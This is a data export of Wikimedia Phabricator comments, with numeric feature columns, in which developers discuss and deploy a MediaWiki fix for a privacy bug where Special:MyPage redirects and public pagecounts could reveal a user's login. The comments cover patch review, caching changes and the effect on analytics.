22:31 csteipp: deployed followup for T109724",,,1447972340,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.8571428571428571,"QUOTE

LGTM. Deployed.

22:31 csteipp: deployed followup for T109724"
565913,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Tested and patchified @matmarex's fix above.

{F2977061}

The GuidedTour parameters (and any other whitelisted parameters) are now preserved in the JS replaceState: {T118823}",,,1447971408,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,20,True,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,18.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.7272727272727275,0.8484848484848485,"Tested and patchifiedSCREEN_NAME's fix above.

{F2977061}

The GuidedTour parameters (and any other whitelisted parameters) are now preserved in the JS replaceState: {T118823}"
565726,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"The patch incorrectly drops query parameters from the URL set in `wgInternalRedirectTargetUrl`, causing T118823.
```
+						$output->addJsConfigVars( array(
+							'wgInternalRedirectTargetUrl' => $target->getFullURL(),
+						) );
```
This should probably use `$target->getFullURL( $query )`?",,,1447959210,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.423076923076923,0.8846153846153846,"The patch incorrectly drops query parameters from the URL set in CODE, causing T118823.
``CODE`CODE$target->getFullURL( $query )`?"
558303,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Mmmmm I mean if you mentioned this on analytics-l, where you're likely to hit most people that would be potentially confused by the change, everyone will ask questions.  So my suggestion is that if we don't want to talk about the potential hole we shouldn't mention anything.",,,1446670657,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,17,True,0.0,4.0,0.0,2.0,4.0,5.0,2.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,9.0,14.0,4.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,11.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,5.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.017543859649122,0.8421052631578947,"Mmmmm I mean if you mentioned this on analytics-l, where you're likely to hit most people that would be potentially confused by the change, everyone will ask questions.  So my suggestion is that if we don't want to talk about the potential hole we shouldn't mention anything."
557614,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I wonder if we should advertise that stats are handling these types of special pages differently (Not the reason for doing so, just that we are doing so). Some users might be confused by this change. Perhaps a line in tech news would be appropriate. Thoughts?",,,1446592705,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,17,True,2.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,19.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,9.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,13.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,4.037735849056604,0.8490566037735849,"I wonder if we should advertise that stats are handling these types of special pages differently (Not the reason for doing so, just that we are doing so). Some users might be confused by this change. Perhaps a line in tech news would be appropriate. Thoughts?"
557472,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Patch is deployed
20:45 csteipp: deployed patch for T109724 to wmf4/5",,,1446583585,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,15.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.615384615384615,0.9230769230769231,"Patch is deployed
20:45 csteipp: deployed patch for T109724 to wmf4/5"
555739,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1769596, @Milimetric wrote:
> So do we know if this needs analytics attention or changes to our pipeline anymore?  Or does the patch work ok with the current flow?

It should work fine with current flow.",,,1446244783,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9166666666666666,"QUOTE
QUOTE

It should work fine with current flow."
555524,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,So do we know if this needs analytics attention or changes to our pipeline anymore?  Or does the patch work ok with the current flow?,,,1446226516,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,4.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.892857142857143,0.9285714285714286,So do we know if this needs analytics attention or changes to our pipeline anymore?  Or does the patch work ok with the current flow?
554860,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1756196, @Bawolff wrote:
> {F2879417}

Changes from my patch look good to me.
* Changing getAction to use a private property instead of a static should be safe, and shouldn't hurt performance much. There should only be one MediaWiki object created for each requests.
* Setting the cache with lowerCdnMaxage(0) I think is what we want. Although we would usually use setSquidMaxage(0), using lowerCdnMaxage will prevent the target from setting a non-zero squid maxage, which is what we want in this case. Although @Aaron, if you think that's abusing the functionality, let me know.
* Setting $wgTitle. Yep, I forgot that.",,,1446144158,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,17,True,1.0,0.0,0.0,0.0,0.5,5.0,0.5,0.0,1.0,1.0,1.5,0.5,0.0,0.5,0.5,5.5,0.0,3.5,6.5,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,5.0,3.0,0.0,0.5,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,8.5,1.5,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,2.0,0.0,1.5,0.0,0.0,0.0,4.0,2.5,8.0,1.5,0.5,7.5,0.0,0.0,0.0,0.0,6.0,0.0,1.5,0.0,6.0,6.5,2.5,0.0,0.0,0.0,6.0,0.0,2.0,2.0,1.5,4.5,0.0,0.0,0.0,4.113828662083554,0.8129296668429402,"QUOTE
QUOTE

Changes from my patch look good to me.
* Changing getAction to use a private property instead of a static should be safe, and shouldn't hurt performance much. There should only be one MediaWiki object created for each requests.
* Setting the cache with lowerCdnMaxage(0) I think is what we want. Although we would usually use setSquidMaxage(0), using lowerCdnMaxage will prevent the target from setting a non-zero squid maxage, which is what we want in this case. AlthoughSCREEN_NAME, if you think that's abusing the functionality, let me know.
* Setting $wgTitle. Yep, I forgot that."
554159,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"One other thing to note about this patch, is that it disables varnish cache for those pages. I don't think this is much of an issue since anons are unlikely to view Special:MyPage in great number, but its always good to note up-front anytime a patch messes with caching.",,,1446067222,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,16,True,2.0,0.0,0.0,0.0,2.0,10.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,19.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,7.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,19.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.8275862068965516,0.8620689655172413,"One other thing to note about this patch, is that it disables varnish cache for those pages. I don't think this is much of an issue since anons are unlikely to view Special:MyPage in great number, but its always good to note up-front anytime a patch messes with caching."
552718,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"{F2879417}

Mostly looks good. I changed the following:
* set $wgTitle for older code (including the likes of EditPage.php)
* Reset the cached version of what the action is, in case it changes after redirect (e.g. Special:MyPage?action=edit should work)
* Disable squid cache for these pages (They vary by what user is accessing them, even for anons, so not safe to store in squid).

Other thoughts:
* Maybe the default should be that the redirect is personally identifiable. If someone forgets to set it, better to err on the side of secure. Also most of them seem to be of this nature.
* I'm not really sure if we have to include Special:MyLanguage. The threat of linking someone's IP address to the language set in Special:Preferences seems rather limited. But I go back and forth on that in my head.",,,1445916391,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,16,True,0.0,1.0,0.0,0.0,1.0,5.0,1.5,0.0,0.0,1.0,2.5,0.5,0.0,0.0,0.0,2.5,0.0,7.5,14.0,1.0,2.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,6.5,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,2.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.5,11.5,1.5,1.0,7.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,5.5,14.0,3.5,0.0,0.0,0.0,5.5,0.0,1.0,0.0,1.0,2.0,1.0,0.5,0.0,3.727777777777778,0.7222222222222222,"{F2879417}

Mostly looks good. I changed the following:
* set $wgTitle for older code (including the likes of EditPage.php)
* Reset the cached version of what the action is, in case it changes after redirect (e.g. Special:MyPage?action=edit should work)
* Disable squid cache for these pages (They vary by what user is accessing them, even for anons, so not safe to store in squid).

Other thoughts:
* Maybe the default should be that the redirect is personally identifiable. If someone forgets to set it, better to err on the side of secure. Also most of them seem to be of this nature.
* I'm not really sure if we have to include Special:MyLanguage. The threat of linking someone's IP address to the language set in Special:Preferences seems rather limited. But I go back and forth on that in my head."
551026,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"We're trying to make graphite data more public, so probably not.
Eventlogging would work, and be pretty trivial to implement.",,,1445606735,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,19.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.115384615384615,0.8846153846153846,"We're trying to make graphite data more public, so probably not.
Eventlogging would work, and be pretty trivial to implement."
550857,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,could we make graphite metrics count those hits?,,,1445563235,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,could we make graphite metrics count those hits?
550219,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"{F2753521}

I think leaving out Special:MyLanguage open isn't a good option. Updated patch. @Jdforrester-WMF, we'll have to find your team another way to count hits to the language versions of that page.",,,1445486764,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,16,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,16.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8222222222222224,0.9111111111111111,"{F2753521}

I think leaving out Special:MyLanguage open isn't a good option. Updated patch.SCREEN_NAME-WMF, we'll have to find your team another way to count hits to the language versions of that page."
543801,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1706292, @csteipp wrote:
> {F2662435}

@bawolff, have time for a code review at some point?

I did leave out Special:MyLanguage redirects explicitly. That could let an attacker narrow down who they sent to the page, but that seems both harder to get useful information from, and would hurt the editing team (among others, I suspect). So I'm on the fence if it's worth it.",,,1444340732,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,14,True,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,13.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,6.0,1.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,1.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,8.0,13.0,3.0,1.0,0.0,0.0,8.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,3.717948717948718,0.8333333333333334,"QUOTE
QUOTE
SCREEN_NAME, have time for a code review at some point?

I did leave out Special:MyLanguage redirects explicitly. That could let an attacker narrow down who they sent to the page, but that seems both harder to get useful information from, and would hurt the editing team (among others, I suspect). So I'm on the fence if it's worth it."
542133,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"{F2662435}

Built on @Bawolff's patch, but let individual classes specify if they should use this behavior. And added site config so it can be disabled for sites that don't make their stats public.",,,1444156261,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,13,True,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,8.0,5.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.225,0.975,"{F2662435}

Built onSCREEN_NAME's patch, but let individual classes specify if they should use this behavior. And added site config so it can be disabled for sites that don't make their stats public."
541663,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"In testing @Bawolff's patch, realized that is redirecting a lot of pages that we don't need to redirect. Things like Special:ListAdmins, Special:CreateAccount, Special:BetaFeatures. Should we restrict the soft-redirect to classes that contain ""my"" in the name? Or probably a little less fragile, have each of the private ones implement a ""PrivateRedirect"" interface, and test for that instead of the relatively generic RedirectSpecialPage?",,,1444090510,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,13,True,1.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,1.0,7.0,11.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,13.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,8.0,1.0,14.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,2.0,11.0,10.0,2.0,5.0,0.0,2.0,0.0,2.0,4.0,0.0,1.0,1.0,0.0,0.0,4.535714285714286,0.6904761904761905,"In testingSCREEN_NAME's patch, realized that is redirecting a lot of pages that we don't need to redirect. Things like Special:ListAdmins, Special:CreateAccount, Special:BetaFeatures. Should we restrict the soft-redirect to classes that contain ""my"" in the name? Or probably a little less fragile, have each of the private ones implement a ""PrivateRedirect"" interface, and test for that instead of the relatively generic RedirectSpecialPage?"
541437,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> Note however that discarding page counts of Special:MyLanguage redirects would be a real pity as those are the principal entry point for some policy pages. I think for example of https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide (declaring my interest! ;-)).

@Jdforrester-WMF, do you need to track non-existent translations too?",,,1444071094,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,13,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.9411764705882353,"QUOTE
SCREEN_NAME-WMF, do you need to track non-existent translations too?"
534015,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Confirming that I'm content with a app-level (non-HTTP) redirect being used for Special:MyPage in the same way as we changed #REDIRECT to work last year.

I think that instead of ""(redirected from Special:MyPage)"" if we said ""(This is your account's version of Special:MyPage.)"" or somesuch we could reduce confusion completely, but that's a bonus, and not necessary to make this change.

Note however that discarding page counts of Special:MyLanguage redirects would be a real pity as those are the principal entry point for some policy pages. I think for example of https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide (declaring my interest! ;-)).",,,1443079833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,12,True,0.5,0.0,0.5,0.5,0.5,5.0,2.0,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.0,4.0,1.0,2.5,10.5,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.5,3.5,2.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,13.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.5,9.5,2.0,2.0,6.5,0.0,0.5,0.5,0.5,3.5,0.0,0.0,0.0,4.5,10.5,4.0,0.0,2.0,0.0,4.5,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7910447761194033,0.8134328358208955,"Confirming that I'm content with a app-level (non-HTTP) redirect being used for Special:MyPage in the same way as we changed #REDIRECT to work last year.

I think that instead of ""(redirected from Special:MyPage)"" if we said ""(This is your account's version of Special:MyPage.)"" or somesuch we could reduce confusion completely, but that's a bonus, and not necessary to make this change.

Note however that discarding page counts of Special:MyLanguage redirects would be a real pity as those are the principal entry point for some policy pages. I think for example of URL (declaring my interest! ;-))."
533966,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp thank you for the offline explanation.  This is fine from a reading perspective.  have you checked with @Jdforrester-WMF?  Since this impacts logged in users, it is mostly his jurisdiction from an audience perspective.",,,1443069655,,PHID-USER-izqileijt5niumtehazh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,5.0,2.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.558139534883721,0.813953488372093,"SCREEN_NAME thank you for the offline explanation.  This is fine from a reading perspective.  have you checked withSCREEN_NAME-WMF?  Since this impacts logged in users, it is mostly his jurisdiction from an audience perspective."
533956,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp I reviewed the thread and cannot think of any implication whatsoever of this change for Research, thanks for checking.",,,1443067725,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,12,True,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.826086956521739,0.9130434782608695,"SCREEN_NAME I reviewed the thread and cannot think of any implication whatsoever of this change for Research, thanks for checking."
